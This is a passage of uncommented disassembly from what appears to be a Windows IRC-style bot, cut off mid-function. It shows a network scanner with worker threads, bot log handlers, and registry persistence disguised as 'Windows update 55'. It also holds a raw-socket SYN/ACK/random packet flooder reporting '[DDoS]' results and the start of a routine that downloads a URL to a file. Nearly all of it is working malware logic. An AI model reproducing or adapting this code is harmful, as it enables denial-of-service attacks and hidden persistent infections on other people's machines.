call ds:dword_41B080 ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_41B07C ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_402ADA
lea eax, [ebp+Source]
push offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical s"...
push eax ; Dest
call _sprintf
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_402AC4
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_405E64
add esp, 14h
loc_402AC4: ; CODE XREF: sub_402A0C+99j
lea eax, [ebp+Source]
push eax
call sub_402D63
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_402ADA: ; CODE XREF: sub_402A0C+63j
; sub_402A0C+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_41B048
mov edi, ebx
mov dword_428D6C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_402BA7
loc_402AF8: ; CODE XREF: sub_402A0C+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+Source]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 8 ; int
push eax ; Source
call sub_411C3A
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_430544[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_4027F8
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_402B72
loc_402B67: ; CODE XREF: sub_402A0C+164j
cmp [ebp+var_4], ebx
jnz short loc_402B99
push 1Eh
call esi ; Sleep
jmp short loc_402B67
; ---------------------------------------------------------------------------
loc_402B72: ; CODE XREF: sub_402A0C+159j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_402D63
add esp, 10h
loc_402B99: ; CODE XREF: sub_402A0C+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_402AF8
loc_402BA7: ; CODE XREF: sub_402A0C+E6j
cmp [ebp+var_30], ebx
jz loc_402C51
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_402BBC: ; CODE XREF: sub_402A0C+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_428D68[eax*8]
push eax
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_402C0A
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_405E64
add esp, 14h
loc_402C0A: ; CODE XREF: sub_402A0C+1DFj
lea eax, [ebp+Source]
push eax
call sub_402D63
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_428D6C[eax*8], ebx
call esi ; Sleep
push 8
call sub_411E82
cmp eax, 1
pop ecx
jnz short loc_402C41
push offset dword_429D08
call ds:dword_41B080 ; RtlDeleteCriticalSection
loc_402C41: ; CODE XREF: sub_402A0C+228j
push [ebp+var_2C]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_402C51: ; CODE XREF: sub_402A0C+19Ej
; sub_402A0C+25Dj
mov eax, [ebp+var_2C]
cmp dword_428D6C[eax*8], 1
jnz loc_402BBC
push 7D0h
call esi ; Sleep
jmp short loc_402C51
sub_402A0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_402C6B(char *Str2,int)
sub_402C6B proc near ; CODE XREF: sub_409557+3C42p
var_4 = dword ptr -4
Str2 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset Str1
mov edi, 0B8h
loc_402C7F: ; CODE XREF: sub_402C6B+33j
cmp byte ptr [esi], 0
jz short loc_402CA2
push [ebp+Str2] ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402CA2
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_430340
jl short loc_402C7F
jmp short loc_402CE4
; ---------------------------------------------------------------------------
loc_402CA2: ; CODE XREF: sub_402C6B+17j
; sub_402C6B+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi ; Size
push 0 ; Val
lea ebx, Str1[esi]
push ebx ; Dst
call _memset
push 17h ; Count
push [ebp+Str2] ; Source
push ebx ; Dest
call _strncpy
push 9Fh ; Count
lea eax, dword_42F7D8[esi]
push [ebp+arg_4] ; Source
push eax ; Dest
call _strncpy
add esp, 24h
inc dword_424E64
pop ebx
loc_402CE4: ; CODE XREF: sub_402C6B+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_402C6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_402CEB(int,char *Str,int)
sub_402CEB proc near ; CODE XREF: sub_409557+4DEDp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset aAliasList ; "-[Alias List]-"
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 14h
xor edi, edi
mov esi, offset Str1
loc_402D15: ; CODE XREF: sub_402CEB+72j
cmp byte ptr [esi], 0
jz short loc_402D50
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_SS ; "%d. %s = %s"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 2Ch
loc_402D50: ; CODE XREF: sub_402CEB+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_430340
jl short loc_402D15
pop edi
pop esi
leave
retn
sub_402CEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402D63 proc near ; CODE XREF: sub_4013EE+323p
; .text:00401A16p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_41B084 ; GetLocalTime
mov ebx, offset Source
mov edi, 80h
mov esi, offset byte_42A620
loc_402D85: ; CODE XREF: sub_402D63+3Dj
cmp byte ptr [ebx], 0
jz short loc_402D9C
push 7Fh ; Count
lea eax, [ebx+80h]
push ebx ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_402D9C: ; CODE XREF: sub_402D63+25j
sub ebx, edi
cmp ebx, esi
jge short loc_402D85
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_402D63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_402DD7(char *Format,char Args)
sub_402DD7 proc near ; CODE XREF: sub_409277+F7p
; sub_409557:loc_40CF1Cp ...
Dest = byte ptr -80h
Format = dword ptr 8
Args = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 80h ; Count
push eax ; Dest
call __vsnprintf
lea eax, [ebp+Dest]
push eax
call sub_402D63
add esp, 14h
leave
retn
sub_402DD7 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_402E03(int,char *Str,int,int)
sub_402E03 proc near ; CODE XREF: sub_409557+4CE4p
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset byte_42A620
xor ecx, ecx
loc_402E0A: ; CODE XREF: sub_402E03+13j
mov [eax], cl
add eax, 80h
cmp eax, offset Source
jl short loc_402E0A
cmp [esp+arg_C], ecx
push esi
mov esi, offset aLogsCleared_ ; "[LOGS]: Cleared."
jnz short loc_402E3A
push ecx ; int
push [esp+8+arg_8] ; int
push esi ; int
push [esp+10h+Str] ; Str
push [esp+14h+arg_0] ; int
call sub_405E64
add esp, 14h
loc_402E3A: ; CODE XREF: sub_402E03+1Fj
push esi
call sub_402D63
pop ecx
pop esi
retn
sub_402E03 endp
; =============== S U B R O U T I N E =======================================
sub_402E43 proc near ; CODE XREF: sub_4013EE+2B3p
; .text:004019A6p
arg_0 = dword ptr 4
push esi
mov esi, offset byte_42A620
loc_402E49: ; CODE XREF: sub_402E43+27j
cmp byte ptr [esi], 0
jz short loc_402E5E
push [esp+4+arg_0] ; int
push esi ; Str
call sub_406F77
pop ecx
test eax, eax
pop ecx
jnz short loc_402E70
loc_402E5E: ; CODE XREF: sub_402E43+9j
add esi, 80h
cmp esi, offset Source
jl short loc_402E49
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_402E70: ; CODE XREF: sub_402E43+19j
push 1
pop eax
pop esi
retn
sub_402E43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E75 proc near ; DATA XREF: sub_409557+4D97o
Dest = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_402EC8
push edx ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push offset aLogBegin ; "[LOG]: Begin"
push eax ; Str
push [ebp+var_11C] ; int
call sub_405E64
add esp, 14h
loc_402EC8: ; CODE XREF: sub_402E75+33j
cmp [ebp+Str], 0
jz short loc_402EE8
lea eax, [ebp+Str]
push eax ; Str
call _atoi
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_402EE8
mov [ebp+var_8], eax
loc_402EE8: ; CODE XREF: sub_402E75+5Aj
; sub_402E75+6Ej
and [ebp+arg_0], 0
mov esi, offset byte_42A620
loc_402EF1: ; CODE XREF: sub_402E75+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_402F4B
cmp byte ptr [esi], 0
jz short loc_402F3A
cmp [ebp+Str], 0
jz short loc_402F20
cmp [ebp+var_4], 0
jnz short loc_402F20
lea eax, [ebp+Str]
push eax ; int
push esi ; Str
call sub_406F77
pop ecx
test eax, eax
pop ecx
jz short loc_402F3A
loc_402F20: ; CODE XREF: sub_402E75+90j
; sub_402E75+96j
push edi ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push esi ; int
push eax ; Str
push [ebp+var_11C] ; int
call sub_405E64
add esp, 14h
loc_402F3A: ; CODE XREF: sub_402E75+87j
; sub_402E75+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset Source
jl short loc_402EF1
loc_402F4B: ; CODE XREF: sub_402E75+82j
lea eax, [ebp+Dest]
push offset aLogListComplet ; "[LOG]: List complete."
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_402F85
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+var_118]
push eax ; Str
push [ebp+var_11C] ; int
call sub_405E64
add esp, 14h
loc_402F85: ; CODE XREF: sub_402E75+EEj
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_18]
call sub_411F56
pop ecx
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
sub_402E75 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_402FA4(char *Str)
sub_402FA4 proc near ; CODE XREF: sub_403014+4p
; sub_40724A+1Ep ...
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_41F770
xor esi, esi
mov ebx, offset aWindowsUpdate5 ; "Windows update 55"
loc_402FB7: ; CODE XREF: sub_402FA4+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_42EB6C ; RegCreateKeyExA
cmp [ebp+Str], esi
jz short loc_402FF1
push [ebp+Str] ; Str
call _strlen
pop ecx
push eax
push [ebp+Str]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_42EBD8 ; RegSetValueExA
jmp short loc_402FFB
; ---------------------------------------------------------------------------
loc_402FF1: ; CODE XREF: sub_402FA4+2Fj
push ebx
push [ebp+var_4]
call dword_42EB2C ; RegDeleteValueA
loc_402FFB: ; CODE XREF: sub_402FA4+4Bj
push [ebp+var_4]
call dword_42EB90 ; RegCloseKey
add edi, 8
cmp edi, offset Mode ; "rb"
jl short loc_402FB7
pop edi
pop esi
pop ebx
leave
retn
sub_402FA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
; int __cdecl sub_403014(char *Str)
sub_403014 proc near ; CODE XREF: sub_403014+16j
; DATA XREF: WinMain(x,x,x,x)+43Do
Str = dword ptr 4
push [esp+Str] ; Str
call sub_402FA4
pop ecx
push dword_41F768
call ds:dword_41B048 ; Sleep
jmp short sub_403014
sub_403014 endp
; =============== S U B R O U T I N E =======================================
sub_40302C proc near ; CODE XREF: sub_403067+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_403061
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_403045: ; CODE XREF: sub_40302C+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_41B1E8[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_403045
pop edi
pop ebx
loc_403061: ; CODE XREF: sub_40302C+Ej
mov eax, esi
pop esi
not eax
retn
sub_40302C endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_403067(char *Filename)
sub_403067 proc near ; CODE XREF: sub_403520+24Ap
var_10 = dword ptr -10h
Filename = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx ; Mode
call _malloc
mov [esp+10h+var_10], offset Mode ; "rb"
push [esp+10h+Filename] ; Filename
mov esi, eax
call _fopen
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4030B6
loc_40308C: ; CODE XREF: sub_403067+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4030BA
inc ebx
push ebx ; NewSize
push esi ; Memory
call _realloc
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4030B6
push edi ; File
push 1 ; Count
lea eax, [esi+ebx-1]
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
jmp short loc_40308C
; ---------------------------------------------------------------------------
loc_4030B6: ; CODE XREF: sub_403067+23j
; sub_403067+39j
xor eax, eax
jmp short loc_4030D5
; ---------------------------------------------------------------------------
loc_4030BA: ; CODE XREF: sub_403067+29j
dec ebx
push ebx
push esi
call sub_40302C
push esi ; Memory
mov ebx, eax
call _free
push edi ; File
call _fclose
add esp, 10h
mov eax, ebx
loc_4030D5: ; CODE XREF: sub_403067+51j
pop edi
pop esi
pop ebx
retn
sub_403067 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030D9 proc near ; DATA XREF: sub_409557+326Co
Dest = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = dword ptr -18Ch
Str = byte ptr -10Ch
Str1 = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_41B078 ; GetTickCount
push eax
call sub_41274C
lea eax, [ebp+var_18C]
push eax ; int
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+var_20C]
push eax ; Str
lea eax, [ebp+var_28C]
push eax ; int
call sub_4034C2
push eax
lea eax, [ebp+Dest]
push offset aDdosDoneWithFl ; "[DDoS]: Done with flood (%iKB/sec)."
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_403169
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_294] ; int
call sub_405E64
add esp, 14h
loc_403169: ; CODE XREF: sub_4030D9+6Ej
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_290]
call sub_411F56
pop ecx
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
sub_4030D9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40318B(int,int,char *Str1,int,int)
sub_40318B proc near ; CODE XREF: sub_4034C2+40p
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
Dst = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str1 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_42EB38 ; WSAStartup
test eax, eax
jz short loc_4031CB
xor eax, eax
jmp loc_4034BE
; ---------------------------------------------------------------------------
loc_4031CB: ; CODE XREF: sub_40318B+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_42EC54 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4034B6
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_42EB94 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4034AC
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_42EBB4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_42EBB4 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_42EBB4 ; htons
mov [ebp+var_12], ax
call _rand
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_42EBB4 ; htons
push 12345678h
mov [ebp+var_14], ax
call dword_42EBB0 ; htonl
push offset Str2 ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40329B
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4032EF
; ---------------------------------------------------------------------------
loc_40329B: ; CODE XREF: sub_40318B+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4032B7
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4032EF
; ---------------------------------------------------------------------------
loc_4032B7: ; CODE XREF: sub_40318B+121j
push offset aDdos_random ; "ddos.random"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4032EF
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4032EF: ; CODE XREF: sub_40318B+10Ej
; sub_40318B+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_42EBB4 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+Str1], ebx
call ds:dword_41B08C ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call ds:dword_41B088 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call __allmul
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_40333D: ; CODE XREF: sub_40318B+2E2j
; sub_40318B+2F0j
mov [ebp+var_4], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_42EBB4 ; htons
mov [ebp+var_14], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call dword_42EBB4 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_42EBB0 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_42EBB4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40845A
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40845A
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_42EC14 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_403480
add [ebp+Str1], eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_41B088 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4034A9
jl loc_40333D
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4034A9
jmp loc_40333D
; ---------------------------------------------------------------------------
loc_403480: ; CODE XREF: sub_40318B+2CBj
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset aDdosSendErrorD ; "[DDoS]: Send error: <%d>."
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_402D63
add esp, 10h
jmp short loc_4034AC
; ---------------------------------------------------------------------------
loc_4034A9: ; CODE XREF: sub_40318B+2E0j
; sub_40318B+2EEj
mov ebx, [ebp+Str1]
loc_4034AC: ; CODE XREF: sub_40318B+78j
; sub_40318B+31Cj
push [ebp+var_20]
call dword_42EC48 ; closesocket
pop esi
loc_4034B6: ; CODE XREF: sub_40318B+5Bj
call dword_42EB20 ; WSACleanup
mov eax, ebx
loc_4034BE: ; CODE XREF: sub_40318B+3Bj
pop edi
pop ebx
leave
retn
sub_40318B endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4034C2(int,char *Str,char *Str1,int)
sub_4034C2 proc near ; CODE XREF: sub_4030D9+4Fp
arg_0 = dword ptr 4
Str = dword ptr 8
Str1 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4082EB
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_C] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi ; int
idiv ecx
push ebx ; int
push [esp+20h+Str1] ; Str1
lea eax, [edx+esi+100h]
push eax ; int
push esi ; int
call sub_40318B
add esp, 20h
test eax, eax
jnz short loc_403511
push 1
pop eax
loc_403511: ; CODE XREF: sub_4034C2+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4034C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403520 proc near ; DATA XREF: sub_409557+3075o
; sub_409557+36E9o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
Dst = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
Str = byte ptr -2C8h
var_248 = byte ptr -248h
Filename = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
Memory = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_42EB68
call dword_42EAD4 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_4039AC
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+Filename]
push 40000000h
push eax
call ds:dword_41B05C ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_4035E7
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s."
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4035CA
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_405E64
add esp, 14h
loc_4035CA: ; CODE XREF: sub_403520+88j
lea eax, [ebp+Dst]
push eax
call sub_402D63
push [ebp+var_48]
call sub_411F56
pop ecx
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
loc_4035E7: ; CODE XREF: sub_403520+68j
xor edi, edi
call ds:dword_41B078 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx ; Size
call _malloc
pop ecx
mov [ebp+Memory], eax
loc_403601: ; CODE XREF: sub_403520+1B4j
